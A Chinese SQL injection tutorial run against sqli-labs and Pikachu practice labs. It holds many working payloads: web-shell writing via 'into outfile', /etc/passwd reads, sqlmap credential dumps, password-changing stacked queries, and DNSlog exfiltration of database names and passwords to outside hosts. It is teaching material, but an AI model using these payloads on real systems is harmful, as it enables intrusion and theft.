目录

  • 报错函数floor的利用
  • 利用select into outfile写一句话木马
  • 利用load_file 读敏感文件
  • 利用sqlmap探测
  • sql盲注
  • get基于时间的盲注应用
  • post基于时间的盲注
  • 基于布尔的盲注
  • Sqlmap进行post注入测试
  • Sql注入的绕过
  • 利用报错函数Updatexml
  • http-Referrer注入
  • sql注入的类型之Cookie注入
  • cookieBase64注入代码分析
  • 宽字节注入
  • Delete注入
  • 例子

SQL注入
sql注入点:url表单、搜索栏、动态网页(有参数提交的地方)、伪静态、请求头http的头部字段(user-agent、cookie、refer、x-forward-for)
安全策略:先上waf 分类、 登录注入、 cms注入、article.php?id=、 数值型 、字符串型 Select * from tb where id=’ $id’ 、有回显 、无回显、 按注入的程度和顺序、 一阶注入 、二阶注入、 其他业务场景、延时盲注、布尔盲注

information-schema数据库分为table表和colums表
table-name表的名和table-schema数据库的名
user();查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
@@version @@basedir mysql安装路径在哪里
length() 字符串长度
substring()截取字符串
ord返回ASCII码值
concat 连接字符串
sleep(4) 睡眠指定描述
group_concat() 把所有的查询结果放同一行
limit m,n 从m行开始,到m+n行。 mid()需要截取的字符串

注释
#表单用
–空格 (%20) 另外在注入过程中:

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格

首先介绍一下基础知识:

url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%

空格是%20,单引号是%27, 井号是%23,双引号是%22

判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等

sql 注入的基本步骤:
1.判断是否存在注入,判断类型并且闭合语句
2.Order by 判断字段数,
3.选择注入语句, union查询或者报错注入
4.获取数据库用户,版本,当前连接的数据库等信息
5.获取某个数据库表的信息获取列信息
6.最后就获取数据了 LIMIT 关键字可以指定查询结果从哪条记录开始显示,显示多少条记录。 LIMIT 指定初始位置的基本语法格式如下: 其中,“初始位置”表示从哪条记录开始显示;“记录数”表示显示记录的条数。第一条记录的位置是 0,第二条记录的位置是 1。后面的记录依次类推。
注意:LIMIT 后的两个参数必须都是正整数。

  • http://192.168.8.151:8088/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- +

利用order by 1判断字段 具体开始探测

  • http://192.168.8.151:8088/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +

  • 3表示的是结果集占位,可以是任何一个数

  • union要求前后结果集位数一致

  • less1 基于字符串

利用union select联合查询,获取字段名。

  • http://192.168.8.151:8088/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- +

利用union select 联合查询,获取字段值。0x3a是冒号

  • http://192.168.8.151:8088/Less-1/?id=0' union select 1, group_concat(username,0x3a,password),3 from users-- +

  • less2 基于数字

  • 这里的limit 0,1表示查询的数据库库名(security)第一个字段的表名

  • http://192.168.8.151:8088/Less-2/?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),7-- +

  • http://192.168.8.151:8088/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- +

  • less3 基于括号输入 ?id=1’

报错信息是 ’ ‘1’') LIMIT 0,1 ’ 推断sql语句是 select login_name,password from admin where id =(‘id’) limit 0,1

  • 验证http://192.168.8.151:8088/Less-3/?id=1')--http://192.168.8.151:8088/Less-3/?id=1')-- +
    能够出现正确结果

  • Less4 基于双引号报错

  • 输入 ?id=1”或者id=1

  • 报错消息是:

  • ' "14"") LIMIT 0,1 '

  • 推断sql语句是select login_name,password from admin where id =("id") limit 0,1

报错函数floor的利用

  • 原理
    通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误
    count():计算满足某一条件下的行数
    floor():向下取整的函数
    rand():生成0~1之间的浮点数
    count():group by:针对表中的字段来分组

  • 基础知识
    (1)Group by
    原表中有一个name字段,有四行数据,其中有两行是重复的

  • 执行如下语句

  • (2)floor函数
    向下取整

  • (3)rand函数
    如果不指定参数,可以生成0~1之间的随机浮点数

  • 如果指定参数为0,生成的就是伪随机数了

  • 报错语句
    floor()函数与group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry "…’ for key’group_key’ 。

  • less5 报错注入

  • http://192.168.8.151:8088/Less-5/?id=1’ union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

  • 爆数据库下的表名称

  • http://192.168.8.151:8088/Less-5/?id=?id=1' union select 1,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as yy from information_schema.tables group by yy--

  • 这里显示了输出结果超过一行,那么就应该用到limit

  • http://192.168.8.151:8088/Less-5/?id=?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand()*2))as yy from information_schema.tables group by yy--

  • 我们可以看到把表users1爆出来了,多刷新几次发现爆出来的表,我们就会发现,爆出来的结果要么是users1要么是users0,这不就达到了我们想要的结果了吗?下面我们就可以来查询users表下面的字段了

  • http://192.168.8.151:8088/Less-5/?id=?id=1’ union select 1,“<?php @eval($_POST['aa']);?>”,concat((select username from users limit 3,1),floor(rand()*2))as yy from information_schema.tables group by yy into outfile ‘/var/www/html/ma9.php’–

  • http://192.168.8.151:8088/Less-5/?id=?id=1' union select 1,"<?php @eval($_POST['aa']);?>",concat((select username from users limit 3,1),floor(rand()*2))as yy from information_schema.tables group by yy into outfile '/var/www/html/ma9.php'--

利用select into outfile写一句话木马

写入条件苛刻
1.mysql配置文件为空,能够备份文件到任意目录 secure_file_priv为空
2.对网站目录具有写的权限

  • http://192.168.8.151:8088/Less-1/?id=-1’ union select 1,“<?php @eval($_POST['aa']);?>”,3 into outfile ‘/var/www/html/ma.php’ – +
  • chmod 777 /var/www/html

利用load_file 读敏感文件

  • http://192.168.8.151:8088/Less-1/?id=-1' union select 1,2,load_file('/etc/passwd')-- +

利用sqlmap探测

  • python2开发的

  • 探测数据库名

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" --dbs --batch

  • --dbs是获得所有数据库,--batch是批处理,帮你选择y

  • 探测表名

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" -D security --tables --batch

  • -D指定的数据库-T指定的表-C字段

  • 探测字段名

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" -D security -T users --columns --batch

  • 探测字段值

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" -D security -T users -C username,password --dump --batch

  • 读取敏感文件

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" --file-read '/etc/passwd' --batch

  • 上传一句话木马

  • <?php @eval($_POST['aa']);?>

  • sqlmap -u "http://192.168.8.151:8088/Less-1/?id=1" --file-write '/root/muma.php' --file-dest '/var/www/html/muma1.php' --batch

  • 菜刀连接一句话木马

sql盲注

  • http://192.168.8.151:8088/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1) -- +

get基于时间的盲注应用

爆数据库 http://192.168.137.218:8088/Less-9/ ?id=1’ andif(ascii(substr(database(),1,1))>95,sleep(6),1)%23
利用二分法猜解数据库的每一个数据,二分法以此类推,116时直接返回页面。说明数据库第一个数据的ascii码为115,即为s,后面的数据同理,最后数据库名为‘security’
当然在爆数据库前最好先爆数据库长度 当然实际环境中,很多常用的函数是会被过滤的,需要绕过。

  • http://192.168.8.151:8088/Less-9/?id=1' and if(length(database())=8,sleep(10),1) -- +

post基于时间的盲注

在存在注入点post提交的参数后加入类似 and if(length(database())>5,sleep(5),null) --+
如果执行的页面响应时间大于5秒,那么看肯定就存在注入,并且对应的sql语句执行 演示Less-15 uname=admin’ and if(length(database())>5,sleep(5),null) --&passwd=admin123456&submit=Submit
如果数据据名称大于5,则等待5秒,可以看到,执行时间大于5秒,说明数据库名称大于5

基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的办法猜解字符串. select length(databse()); select
substr(databse(),1,1); select ascii(substr(database(),1,1)); select
ascii(substr(database(),1,1))>N; select
ascii(substr(database(),1,1))=N; select
ascii(substr(database(),1,1))<N;

  • http://192.168.8.151:8088/Less-8/?id=1' and length(database())=8-- +

  • http://192.168.8.151:8088/Less-8/?id=1' and length(database())=9-- +

Sqlmap进行post注入测试

注入测试方法: 复制Burpsuite截断的HTTP请求数据包到文本文件中,使用Sqlmap -r文件路径-p指定探测参数。 第一步bp抓包
获得Less12的包,然后将raw格式http数据赋值到sqlinject_Less12.txt文本文件中
命令1测试参数passwd是否是注入点 sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E 测试结果
命令2 测试当前数据库 sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E --current-db 测试结果

Sql注入的绕过

  • 1.大小写绕过

  • 如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如: and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
    通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1
    列如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤
    了order ,可以使用OrdER来进行绕过。
    如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。
    对于这样的过滤策略可以

  • 实验:

  • Mysql练习大小写绕过语句

  • Select * from ** oRdEr by 1

  • 2.双写绕过

  • 使用双写绕过。因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

  • 比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为Ununionion 红色部分替换为空,则剩下的依然为空还可以结合大小写过滤一起使用

  • 3.编码绕过

  • 可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。http://tool.chinaz.com/Tools/urlencode.aspx

  • 4.内联注释绕过

  • 在Mysql中内容注释中的内容可以被当作SQL语句执行。
    实验:
    Mysql中执行
    /!select/ * from admin

绕过实例 绕过带注释符的sql注入 1、mysql的注释符
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。 Mysq|中的注释符: 1、单行注释:
–+或–空格或# 2、多行注释: /多行注释内容/ 对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合单引号、多单引号、双引号、单括号、多括号的功能。
2、绕过注释符的代码分析 preg_ replace(mixed $pattern,mixed $replacement,mixed
$subject):执行-个正则表达式的搜索和替换。 $pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。 $subject:要搜索替换的目标字符串或字符串数组。

  • 绕过去除注释符的sql注入
    利用注释符别过滤不能成功闭合单引号等,换一种思路利用or ‘1’='1闭合单引号等。
    http://127 .0.0.1/sqli/L ess-23/?id=-1%27%20union%20select%201 ,database(),%273
    http://192.168.8.151:8088/Less-26/?id=1%27%a0union%09select%a01,2,%273

利用报错函数Updatexml

updatexml()函数 使用前提:
在mysql高版本中(大于5.1版本)中添加了对XML文档进行查询和修改的函数,updatexml(),extracvalue(),floor()
而显示错误则需要在开发程序中采用print_r mysql_error()函数,将mysql错误信息输出。 Updatexml函数本身介绍
作用:改变文档中符合条件的节点,使用不同的xml标记匹配和替换xml块的函数。

updatexml(XML_document,XPath_string,new_value);
XML_document:String格式,为XML文档对象的名称,文中为Doc
XPath_string:Xpath格式的字符串,代表路径。 new_value:String格式,替换查找到的符合条件的数据。

Payload内容: updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。

  • ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

  • 'and updatexml(1,concat(0x7e,(select@@version),0x7e),1) or '1'='1

  • 'and extractvalue('1',concat(0x7e,(select @@version),0x7e),1) or '1'='1

  • 'and extractvalue('1',concat(0x7e,(select @@version),0x7e)) or '1'='1

http-Referrer注入

1、用了http头的referer
2、没有过滤referer
3、用referer进行了sql操作
实验演示 Less-19
首先看Less-19的源代码


  • 用如下Payload进行注入
  • ' or if( length(database())=8,sleep(5),null) or '1'='1

Sqlmap进行http头注入
1、第一种利用sqlmap 的方式 Sqlmap自动搜索表单提交内容进行探测
Sqlmap自动搜索POST表单注入: sqlmap.py -u “http:/192.168.138.218:8088/Less-19/index.php” --forms
但Less-19这个范例不适合用这种方法,因为通过源代码我们可以看到,已经对username和password字典进行了过滤,所以这个方法不行

2、第二种利用sqlmap的方式 指定参数探测SQL注入: sqlmap.py -u “http:/192.168.138.218:8088/Less-19/index.php” --data " uname=admin&passwd=admin&submit=Submit"
但是参数在源代码重要已经过滤过,所以有可能不会成功

3、第三种利用sqlmap的方式(适用于Less-19的http头注入) 指定注入位置进行注入,在保存的文件中,对于参数的修改为*。

  • sqlmap -r /root/less19.txt --batch --dbs
  • Sqlmap探测结果

sql注入的类型之Cookie注入

cookie知识介绍
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车"之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写Cookies,以便在最后付款时提取信息。
可以通过浏览器的开发者工具来查看cookie Console中输入doccument.cookie

代码分析cookie注入原理
1.获得请求得cookie
2.Cookie数据没有做特殊处理
3.Sql语句得执行使用cookie 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。 源代码分析

  • 这里就可以利用’$cookee’来注入了

  • Cookie注入演示

Less-20 用burpsuite发送给Less-20页面,第一次发送给没有cookie,后来在发送就cookie了

Payload注入 用如下的payload进行注入可以获得版本

  • 'and updatexml(1,concat(0x7e,version(),0x7e),1) --+


cookieBase64注入代码分析

base64_decode(str): PHP语言中用于解密Base64解密字符串的函数。 Sqli Less-22

  • " and updatexml(1,concat(07xe,version(),07xe),1) #



宽字节注入

宽字节注入基础
一、宽字节概念 1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等

二、php中的宽字节 addslashes()函数 1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
2、预定义字符:单引号('),双引号("),反斜杠(\),NULL 3、实例 <?php $ss=addslashes('aiyou"bu"cuoo'); echo($ss); ?> 运行结果:aiyou"bu"cuoo

%DF’:会被PHP当中的addslashes函数转义为“
%DF’”,\在URL里是“%5C",那么也就是说,“%DF’“会被转成“%DF%5C%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運”,单引号逃逸出来,从而绕过转义造成注入漏洞。

现在基本都会将mysql的连接配置设置为: [set character_set_client=binary]

涉及到的其他函数 涉及到其他函数
mysql_real_escape_string()函数转义SQL语句中使用的字符串中的特殊字符mysql_escape_string()转义一个字符串
数据库使用的是GBK编码,PHP编码为UTF8就可能出现宽字节注入,原因是为了防止发生SQL注入,会调用上面所介绍的几种函数,将单引号或双引号进行转义操作,在单或双引号前加上斜杠(\)。当数据库使用的是宽字节编码会将两个连在一起的字符会被当做是一个汉字,而在PHP使用的UF8编码则认为是两个独立的字符。

sqlmap进行宽字节注入 用sqlmap进行宽自节注入,这些需要一个脚本 脚本名:unmagicquotes.py 脚本位置:

  • 作用:宽字符绕过
  • sqlmap -u "192.168.8.151:8088/Less-33/?id=1" --tamper unmagicquotes --dbs --batch

二阶注入
1.二次注入介绍 二次注入的概念 二次注入也有人称它为SQL二阶注入。 二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。 普通注入与二次注入的区别: 普通注入: 在http后面构造语句,是立即直接生效的
一次注入很容易被扫描工具扫描到 二次注入: 先构造语句(有被转义字符的语句) 我们构造的恶意语句存入数据库
第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查) 二次注入更加难以被发现
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入的条件
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

二次注入步骤 二次注入,可以概括为以下两步: 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。 第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

  • ' and updatexml(1,concat(0x7e,@@version,0x7e),1)#

  • sqlmap -r /root/less17.txt -p passwd --dbs --batch

Insert注入 注入原理:
inset注入就是指我们前端注册的信息会被后台通过insert操作插入到数据库里边去,若此时后台没有做出相应的处理就会构成insert注入。
注入方法: insert语句 insert into
member(username,pw,sex.phonenum,email,address)
values(‘xxxxx’,111111,1,1,1,1,);

以上是Insert的完整语句,而我们输入的用户名对应的就是上面‘xxxxx’这里,这里我们可以使用or这个逻辑运算符,例如用下面的语句代替xxxxx:
x’ or updatexml(1,concat(0x7e,version()),0) or ’

Pikachu网站练习


Delete注入

以pikachu网站为例: 注入原理: 对于后台来说,delete就是把留言对应的 id 传到了后台,然后后台就把该 id对应的数据给删除了,如图:

  • 1 or updatexml(1,concat(0x7e,version(),0x7e),1)
  • 57 or updatexml(1,concat(0x7e,version(),0x7e),1)
  • %35%37%20%6f%72%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%76%65%72%73%69%6f%6e%28%29%2c%30%78%37%65%29%2c%31%29


堆叠注入
1、堆叠注入定义 Stacked
injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中, 主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked
injection。
2、堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1;DELETE FROM
products 服务器端生成的sql语句为: select * from users where productid=1;DELETE
FROM users 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性在于并不是每一个环境下都可以执行,虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

  • 堆叠注入演示Less-38首先看id为1的用户信息
  • 然后发送堆叠注入
  • http://192.168.8.151:8088/Less-38/?id=1%27;update%20users%20set%20password=%27Dumb%27where%20username=%27Dumb%27;--+
  • 再次查询,密码改变

  • declare @a varchar(50);

  • select @a='\\'+convert(varchar(50),DB_NAME())+'.0zgw5b.dnslog.cn\abc';

  • print @a;

  • exec master..xp_dirtree @a,1,1;

  • declare @a varchar(50);

  • select @a='\\'+convert(varchar(50),DB_NAME())+'.0zgw5b.dnslog.cn\test1';

  • print @a;

  • exec master..xp_fileexist @a;

  • declare @a varchar(50);

  • select @a='\\'+convert(varchar(50),db_name())+'.0zgw5b.dnslog.cn\demo';

  • exec master..xp_subdirs @a;

例子

  • ' and if((select load_file(concat('\\\\',(select database()),'.fj5umk.dnslog.cn\\hguone'))),1,0) #

  • ' and if((select load_file(concat('\\\\',(select database()),'.10dkdv.ceye.io\\hguone'))),1,0) #

  • 获得表

  • ' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),'.fj5umk.dnslog.cn\\hguone'))),1,0)#

  • 获得字段

  • ’ and if((select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),‘.fj5umk.dnslog.cn\hguone’))),1,0)#

  • 获得记录值

  • ’ and if((select load_file(concat(‘\\’,(select password from users where user_id=‘1’),‘.fj5umk.dnslog.cn\hguone’))),1,0)#


————注意事项————
1、解析的地址如果通过UNC命名规则设置,UNC命名资源查找,会触发dns解析输出log,由于linux没有UNC,unc命令只有windows下才有,所以就只适用于windows
DNS解析过程中。但是并不意味着linux不适用dnslog,比如用ping,用curl是可以的。
2、UNC路径不能超过128,否则报错,这限制了比如sql的查询语句的长度。
3、SQL中像load_file这类函数使用需要当前账户有写权限。

渗透测试SQL注入——Sqlilabs关卡详解相关推荐

  1. SQL注入攻防入门详解

    转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...

  2. SQL 注入攻防入门详解

    为什么80%的码农都做不了架构师?>>>    SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...

  3. 渗透测试---数据库安全: sql注入数据库原理详解

    文章目录 1 介绍 2 一般步骤 3 注入 3 函数 3.1 常用的系统函数 3.2 字符串连接函数 3.2.1 concat() 函数 3.2.2 concat_ws() 函数 3.2.3 grou ...

  4. 张小白的渗透之路(二)——SQL注入漏洞原理详解

    SQL注入漏洞简介 乱七八糟的就不多说了,自己百度去 SQL注入原理 想要更好的学习SQL注入,那么我们就必须要深入的了解每种数据库的SQL语法及特性.下面通过一个经典的万能密码的例子带大家来拨开一下 ...

  5. 1.1 sql注入分类与详解

    1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来     这里来讲一下报错注入的原理(floor型爆错注入): 0x01:报错过程: 1.rand()用于产生一 ...

  6. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  7. sql注入的原理详解

    sql注入原理详解(一) 我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到 ...

  8. 渗透测试-SQL注入之Fuzz绕过WAF

    WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...

  9. 77.网络安全渗透测试—[SQL注入篇16]—[SQLSERVER+ASP-延时注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.SQLSERVER+ASP 延时注入 1.简介 2.判断注入 3.猜解长度.个数.字符 4.以上总结:`12 ...

最新文章

  1. Linux(CentOS 7_x64位)系统下安装Xmgrace
  2. 006_html元素
  3. 《那些年啊,那些事——一个程序员的奋斗史》——35
  4. ​怎么用藏头诗向女友表白......
  5. c/c++ 编程试题
  6. [转]linux之top命令
  7. Java实现正整数数组的最小拼接数
  8. linux 查看hdfs文件,Hadoop之HDFS文件操作
  9. linux看mysql日志命令_Linux日志查看之cat 命令使用介绍
  10. 微软 VS Code 或将取代 Visual Studio!
  11. shell脚本中判断大于、小于、等于、不等于的符号
  12. TCP三次握手/四次分手详解
  13. CSS规范(OOCSS SMACSS BEM)
  14. eclipse maven配置_Maven系列教材 (十一)- 使用Eclipse导入一个Maven风格的SSM项目
  15. python 读取npy文件
  16. 2022软件项目管理案例教程期末考知识点汇总(期末复习用)
  17. dw设置html背景,Dreamweaver默认浏览器怎么设置
  18. 在 sysservers 中找不到服务器,在 sys.servers 中找不到服务器的解决办法,自己解决的...
  19. 如何查看电脑上是否安装了MySQL
  20. MySQL建立连接慢的处理

热门文章

  1. 阿里云-内容安全-接口demo
  2. python valueerror object2_Python使用json.loads 报错 ValueError: No JSON object could be decoded的解决方法...
  3. java解析蓝奏云直连(解析真正文件地址)
  4. viso画图时如何让右侧显示设置形状格式栏
  5. 新款戴尔取消开盖自动开机办法,以戴尔7591为例子如下
  6. 百家号自媒体如何写文章标题,百家号怎么写标题
  7. 输入一个角度的弧度值x,计算该角的余弦值
  8. [计算机一级MS备考]
  9. centos 把文件打包为tar.gz命令
  10. 晒晒我的云南20元包WAP无限GPRS流量卡(云神卡)